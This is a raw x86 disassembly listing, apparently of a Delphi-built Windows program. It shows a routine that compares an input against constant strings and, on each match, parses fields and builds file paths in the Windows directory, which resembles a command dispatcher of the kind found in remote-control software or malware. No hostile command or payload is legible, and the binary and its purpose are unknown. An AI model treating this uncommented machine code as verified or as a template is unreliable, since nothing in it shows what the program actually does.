mov edx, dword [ebp - 0x1434]
lea eax, [ebp - 0x3d4]
call fcn.00405b30
push 0
lea eax, [ebp - 0x1448]
push eax
lea eax, [ebp - 0x144c]
push eax
lea ecx, [ebp - 0x1450]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1450]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x144c]
mov ecx, 3
mov eax, dword [ebp - 0x3d8]
call fcn.005b2550
mov eax, dword [ebp - 0x1448]
lea edx, [ebp - 0x1444]
call fcn.005939c8
mov edx, dword [ebp - 0x1444]
lea eax, [ebp - 0x3d8]
call fcn.00405b30
push 0
lea eax, [ebp - 0x1458]
push eax
lea eax, [ebp - 0x145c]
push eax
lea ecx, [ebp - 0x1460]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1460]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x145c]
mov ecx, 4
mov eax, dword [ebp - 0x3dc]
call fcn.005b2550
mov eax, dword [ebp - 0x1458]
lea edx, [ebp - 0x1454]
call fcn.005939c8
mov edx, dword [ebp - 0x1454]
lea eax, [ebp - 0x3dc]
call fcn.00405b30
push 0
lea eax, [ebp - 0x1468]
push eax
lea eax, [ebp - 0x146c]
push eax
lea ecx, [ebp - 0x1470]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1470]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x146c]
mov ecx, 5
mov eax, dword [ebp - 0x3e0]
call fcn.005b2550
mov eax, dword [ebp - 0x1468]
lea edx, [ebp - 0x1464]
call fcn.005939c8
mov edx, dword [ebp - 0x1464]
lea eax, [ebp - 0x3e0]
call fcn.00405b30
movzx eax, byte [0x5ae3c8]
push eax
lea eax, [ebp - 0x1474]
push eax
mov ecx, 0x5ae3d4
mov edx, 0x5ae3e4
mov eax, dword [ebp - 0x3e0]
call fcn.004ad574
mov edx, dword [ebp - 0x1474]
lea eax, [ebp - 0x3e0]
call fcn.00405b30
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b24a8
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad834
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x1478]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x1478]
mov edx, 0x5ad834
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x147c]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x147c]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ad834
call fcn.0059405c
pop ecx
cmp dword [0x5dbd74], 2
jne 0x59e690
lea ecx, [ebp - 0x1480]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0x1480], 0
je 0x59e690
xor eax, eax
push ebp
push 0x59e637
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x609]
push eax
lea ecx, [ebp - 0x1484]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x1484]
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
call fcn.0059022c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59e690
lea eax, [ebp - 0x148c]
push eax
lea ecx, [ebp - 0x1490]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1490]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x148c]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x1494]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1494]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x1498]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1498]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x149c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x149c]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x14a0]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x14a0]
call fcn.0059405c
pop ecx
lea edx, [ebp - 0x14a4]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0x14a4]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae104
lea eax, [ebp - 0x14a8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14a8]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae104
lea eax, [ebp - 0x14ac]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14ac]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x14b0]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0x14b0]
call fcn.0059405c
pop ecx
lea edx, [ebp - 0x14b4]
mov eax, dword [ebp - 0x3d4]
call fcn.0058ff30
mov eax, dword [ebp - 0x14b4]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae110
lea eax, [ebp - 0x14b8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14b8]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae110
lea eax, [ebp - 0x14bc]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14bc]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x14c0]
mov eax, dword [ebp - 0x3d4]
call fcn.0058ff30
mov eax, dword [ebp - 0x14c0]
call fcn.0059405c
pop ecx
lea edx, [ebp - 0x14c4]
mov eax, dword [ebp - 0x3dc]
call fcn.0058ff30
mov eax, dword [ebp - 0x14c4]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae138
lea eax, [ebp - 0x14c8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14c8]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae138
lea eax, [ebp - 0x14cc]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14cc]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x14d0]
mov eax, dword [ebp - 0x3dc]
call fcn.0058ff30
mov eax, dword [ebp - 0x14d0]
call fcn.0059405c
pop ecx
lea edx, [ebp - 0x14d4]
mov eax, dword [ebp - 0x3e0]
call fcn.0058ff30
mov eax, dword [ebp - 0x14d4]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae144
lea eax, [ebp - 0x14d8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14d8]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae144
lea eax, [ebp - 0x14dc]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14dc]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x14e0]
mov eax, dword [ebp - 0x3e0]
call fcn.0058ff30
mov eax, dword [ebp - 0x14e0]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x14e4]
push eax
lea ecx, [ebp - 0x14e8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x14e8]
mov ecx, 0xd
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x14e4]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x14ec]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x14ec]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae3f0
lea eax, [ebp - 0x14f0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14f0]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae3f0
lea eax, [ebp - 0x14f4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x14f4]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x14f8]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x14f8]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x14fc]
push eax
lea ecx, [ebp - 0x1500]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1500]
mov ecx, 0xe
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x14fc]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x1504]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1504]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae3fc
lea eax, [ebp - 0x1508]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1508]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae3fc
lea eax, [ebp - 0x150c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x150c]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x1510]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1510]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1514]
push eax
lea ecx, [ebp - 0x1518]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1518]
mov ecx, 0xf
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1514]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x151c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x151c]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae408
lea eax, [ebp - 0x1520]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1520]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae408
lea eax, [ebp - 0x1524]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1524]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x1528]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1528]
call fcn.0059405c
pop ecx
lea edx, [ebp - 0x152c]
mov eax, dword [ebp - 0x3d8]
call fcn.0058ff30
mov eax, dword [ebp - 0x152c]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae414
lea eax, [ebp - 0x1530]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1530]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae414
lea eax, [ebp - 0x1534]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1534]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x1538]
mov eax, dword [ebp - 0x3d8]
call fcn.0058ff30
mov eax, dword [ebp - 0x1538]
call fcn.0059405c
pop ecx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae420
call fcn.00405ec0
jne 0x59ef8e
xor eax, eax
push ebp
push 0x59ef87
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x1540]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x1540]
lea edx, [ebp - 0x153c]
call fcn.00589dcc
mov edx, dword [ebp - 0x153c]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5ae440
call fcn.00405db0
mov eax, esi
call fcn.00402fdc
push 0x5adf48
lea eax, [ebp - 0x1544]
push eax
lea ecx, [ebp - 0x1548]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1548]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1544]
lea ecx, [ebp - 0x424]
lea edx, [ebp - 0x420]
call fcn.0058e5a4
cmp dword [ebp - 0x424], 0
jne 0x59ed8a
lea eax, [ebp - 0x424]
mov edx, 0x5ad834
call fcn.00405b30
mov eax, dword [ebp - 0x424]
call fcn.005936d4
test al, al
je 0x59edab
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae474
call fcn.00405b30
jmp 0x59edbb
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae484
call fcn.00405b30
push 0
push 1
lea edx, [ebp - 0x1554]
mov eax, dword [ebp - 0x420]
call fcn.005939c8
mov eax, dword [ebp - 0x1554]
lea edx, [ebp - 0x1550]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1550]
lea edx, [ebp - 0x154c]
call fcn.00589dcc
mov eax, dword [ebp - 0x154c]
push eax
push dword [ebp - 0x3c4]
push 0x5ae498
push 0x5adc58
lea edx, [ebp - 0x155c]
mov eax, dword [ebp - 0x420]
call fcn.005939c8
push dword [ebp - 0x155c]
push 0x5adc58
lea eax, [ebp - 0x1558]
mov edx, 5
call fcn.00405e2c
mov edx, dword [ebp - 0x1558]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589c00
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 0
jne 0x59ee60
call fcn.00405498
jmp 0x5acf48
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x1564]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x1564]
lea edx, [ebp - 0x1560]
call fcn.00589dcc
mov edx, dword [ebp - 0x1560]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5ae4a4
call fcn.00405db0
mov eax, esi
call fcn.00402fdc
mov eax, dword [ebp - 0x424]
call fcn.005936d4
test al, al
je 0x59eece
lea eax, [ebp - 0x3c4]
call fcn.00405a98
jmp 0x59eede
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae4d8
call fcn.00405b30
push 0
push 1
lea edx, [ebp - 0x1570]
mov eax, dword [ebp - 0x420]
call fcn.005939c8
mov eax, dword [ebp - 0x1570]
lea edx, [ebp - 0x156c]
call fcn.0040bbcc
mov eax, dword [ebp - 0x156c]
lea edx, [ebp - 0x1568]
call fcn.00589dcc
mov eax, dword [ebp - 0x1568]
push eax
push dword [ebp - 0x3c4]
push 0x5ae498
push 0x5adc58
lea edx, [ebp - 0x1578]
mov eax, dword [ebp - 0x420]
call fcn.005939c8
push dword [ebp - 0x1578]
push 0x5adc58
lea eax, [ebp - 0x1574]
mov edx, 5
call fcn.00405e2c
mov edx, dword [ebp - 0x1574]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589c00
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae4e8
call fcn.00405ec0
jne 0x59f2e7
xor eax, eax
push ebp
push 0x59f2e0
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x1580]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x1580]
lea edx, [ebp - 0x157c]
call fcn.00589dcc
mov edx, dword [ebp - 0x157c]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5ae50c
call fcn.00405db0
mov eax, esi
call fcn.00402fdc
lea eax, [ebp - 0x1588]
push eax
lea ecx, [ebp - 0x158c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x158c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1588]
lea edx, [ebp - 0x1584]
call fcn.0058ff30
mov eax, dword [ebp - 0x1584]
call fcn.005936d4
test al, al
je 0x59f068
lea eax, [ebp - 0x3c4]
call fcn.00405a98
jmp 0x59f078
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae548
call fcn.00405b30
push 0
push 1
lea eax, [ebp - 0x159c]
push eax
lea ecx, [ebp - 0x15a0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x15a0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x159c]
lea edx, [ebp - 0x1598]
call fcn.005939c8
mov eax, dword [ebp - 0x1598]
lea edx, [ebp - 0x1594]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1594]
lea edx, [ebp - 0x1590]
call fcn.00589dcc
mov eax, dword [ebp - 0x1590]
push eax
push dword [ebp - 0x3c4]
push 0x5ae498
push 0x5adc58
lea eax, [ebp - 0x15ac]
push eax
lea ecx, [ebp - 0x15b0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x15b0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x15ac]
lea edx, [ebp - 0x15a8]
call fcn.005939c8
push dword [ebp - 0x15a8]
push 0x5adc58
lea eax, [ebp - 0x15a4]
mov edx, 5
call fcn.00405e2c
mov edx, dword [ebp - 0x15a4]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589c00
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 0
jne 0x59f181
call fcn.00405498
jmp 0x5acf48
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x15b8]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x15b8]
lea edx, [ebp - 0x15b4]
call fcn.00589dcc
mov edx, dword [ebp - 0x15b4]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5ae554
call fcn.00405db0
mov eax, esi
call fcn.00402fdc
push 0
push 1
lea eax, [ebp - 0x15c8]
push eax
lea ecx, [ebp - 0x15cc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x15cc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x15c8]
lea edx, [ebp - 0x15c4]
call fcn.005939c8
mov eax, dword [ebp - 0x15c4]
lea edx, [ebp - 0x15c0]
call fcn.0040bbcc
mov eax, dword [ebp - 0x15c0]
lea edx, [ebp - 0x15bc]
call fcn.00589dcc
mov eax, dword [ebp - 0x15bc]
push eax
push dword [ebp - 0x3c4]
push 0x5ae498
push 0x5adc58
lea eax, [ebp - 0x15d8]
push eax
lea ecx, [ebp - 0x15dc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x15dc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x15d8]
lea edx, [ebp - 0x15d4]
call fcn.005939c8
push dword [ebp - 0x15d4]
push 0x5adc58
lea eax, [ebp - 0x15d0]
mov edx, 5
call fcn.00405e2c
mov edx, dword [ebp - 0x15d0]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589c00
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae590
call fcn.00405ec0
jne 0x59f59c
xor eax, eax
push ebp
push 0x59f595
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x15e4]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x15e4]
lea edx, [ebp - 0x15e0]
call fcn.00589dcc
mov edx, dword [ebp - 0x15e0]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5ae5ac
call fcn.00405db0
mov eax, esi
call fcn.00402fdc
push 0x5adf48
lea eax, [ebp - 0x15e8]
push eax
lea ecx, [ebp - 0x15ec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x15ec]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x15e8]
lea ecx, [ebp - 0x424]
lea edx, [ebp - 0x420]
call fcn.0058e5a4
cmp dword [ebp - 0x424], 0
jne 0x59f3c9
lea eax, [ebp - 0x424]
mov edx, 0x5ad834
call fcn.00405b30
mov eax, dword [ebp - 0x424]
call fcn.005936d4
test al, al
je 0x59f3e5
lea eax, [ebp - 0x3c4]
call fcn.00405a98
jmp 0x59f3f5
lea eax, [ebp - 0x3c4]
mov edx, 0x5ae5e4
call fcn.00405b30
push 0
push 1
lea edx, [ebp - 0x15f8]
mov eax, dword [ebp - 0x420]
call fcn.005939c8
mov eax, dword [ebp - 0x15f8]
lea edx, [ebp - 0x15f4]
call fcn.0040bbcc
mov eax, dword [ebp - 0x15f4]
lea edx, [ebp - 0x15f0]
call fcn.00589dcc
mov eax, dword [ebp - 0x15f0]
push eax
push dword [ebp - 0x3c4]
push 0x5ae498
push 0x5adc58
lea edx, [ebp - 0x1600]
mov eax, dword [ebp - 0x420]
call fcn.005939c8
push dword [ebp - 0x1600]
push 0x5ae5f8
lea eax, [ebp - 0x15fc]
mov edx, 5
call fcn.00405e2c
mov edx, dword [ebp - 0x15fc]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589c00
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 0
jne 0x59f49a
call fcn.00405498
jmp 0x5acf48
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push 0x104
push esi
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x1608]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x1608]
lea edx, [ebp - 0x1604]
call fcn.00589dcc
mov edx, dword [ebp - 0x1604]
lea eax, [ebp - 0x3c0]
mov ecx, 0x5ae60c
call fcn.00405db0
mov eax, esi
call fcn.00402fdc
push 0
push 1
lea edx, [ebp - 0x1614]
mov eax, dword [ebp - 0x420]
call fcn.005939c8
mov eax, dword [ebp - 0x1614]
lea edx, [ebp - 0x1610]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1610]
lea edx, [ebp - 0x160c]
call fcn.00589dcc
mov eax, dword [ebp - 0x160c]
push eax
push dword [ebp - 0x3c4]
push 0x5ae498
push 0x5adc58
lea edx, [ebp - 0x161c]
mov eax, dword [ebp - 0x420]
call fcn.005939c8
push dword [ebp - 0x161c]
push 0x5ae5f8
lea eax, [ebp - 0x1618]
mov edx, 5
call fcn.00405e2c
mov edx, dword [ebp - 0x1618]
mov eax, dword [ebp - 0x3c0]
pop ecx
call fcn.00589c00
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae644
call fcn.00405ec0
jne 0x59f6ab
lea eax, [ebp - 0x1620]
push eax
lea ecx, [ebp - 0x1624]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1624]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1620]
mov edx, 0x5ad834
call fcn.00405ec0
jne 0x59f605
mov eax, 0x5dbca4
mov edx, 0x5ad61c
call fcn.00405aec
lea eax, [ebp - 0x1628]
push eax
lea ecx, [ebp - 0x162c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x162c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1628]
mov edx, 0x5ad834
call fcn.00405ec0
jne 0x59f658
mov eax, 0x5dbca4
mov edx, 0x5ae65c
call fcn.00405aec
lea eax, [ebp - 0x1630]
push eax
lea ecx, [ebp - 0x1634]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1634]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1630]
mov edx, 0x5ad834
call fcn.00405ec0
jne 0x59f6ab
mov eax, 0x5dbca4
mov edx, 0x5ae66c
call fcn.00405aec
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae678
call fcn.00405ec0
jne 0x59f795
lea edx, [ebp - 0x1638]
mov eax, 0x5ae694
call fcn.0058fff8
mov eax, dword [ebp - 0x1638]
call fcn.005936d4
test al, al
je 0x5acf48
lea edx, [ebp - 0x1644]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1644]
lea edx, [ebp - 0x1640]
call fcn.00589dcc
push dword [ebp - 0x1640]
lea edx, [ebp - 0x1648]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x1648]
push 0x5ad7d8
lea eax, [ebp - 0x163c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x163c]
call fcn.0040b8f0
test al, al
jne 0x5acf48
lea eax, [ebp - 0x164c]
call fcn.0058e6a0
mov edx, dword [ebp - 0x164c]
mov eax, 0x5dbd0c
call fcn.00405aec
lea eax, [ebp - 0x1650]
call fcn.0058e6a0
mov edx, dword [ebp - 0x1650]
mov eax, 0x5dbd10
call fcn.00405aec
mov byte [0x5dbca0], 1
mov byte [0x5dbca1], 0
push ebp
call fcn.00594180
pop ecx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae6a8
call fcn.00405ec0
jne 0x59f834
xor eax, eax
push ebp
push 0x59f82d
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1658]
push eax
lea ecx, [ebp - 0x165c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x165c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1658]
lea edx, [ebp - 0x1654]
call fcn.005939c8
mov eax, dword [ebp - 0x1654]
mov cl, 1
mov dl, 1
call fcn.00591b08
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae6c8
call fcn.00405ec0
jne 0x59f925
xor eax, eax
push ebp
push 0x59f91e
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1664]
push eax
lea ecx, [ebp - 0x1668]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1668]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1664]
lea edx, [ebp - 0x1660]
call fcn.005939c8
mov eax, dword [ebp - 0x1660]
call fcn.0040b8f0
test al, al
je 0x59f901
lea eax, [ebp - 0x1670]
push eax
lea ecx, [ebp - 0x1674]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1674]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1670]
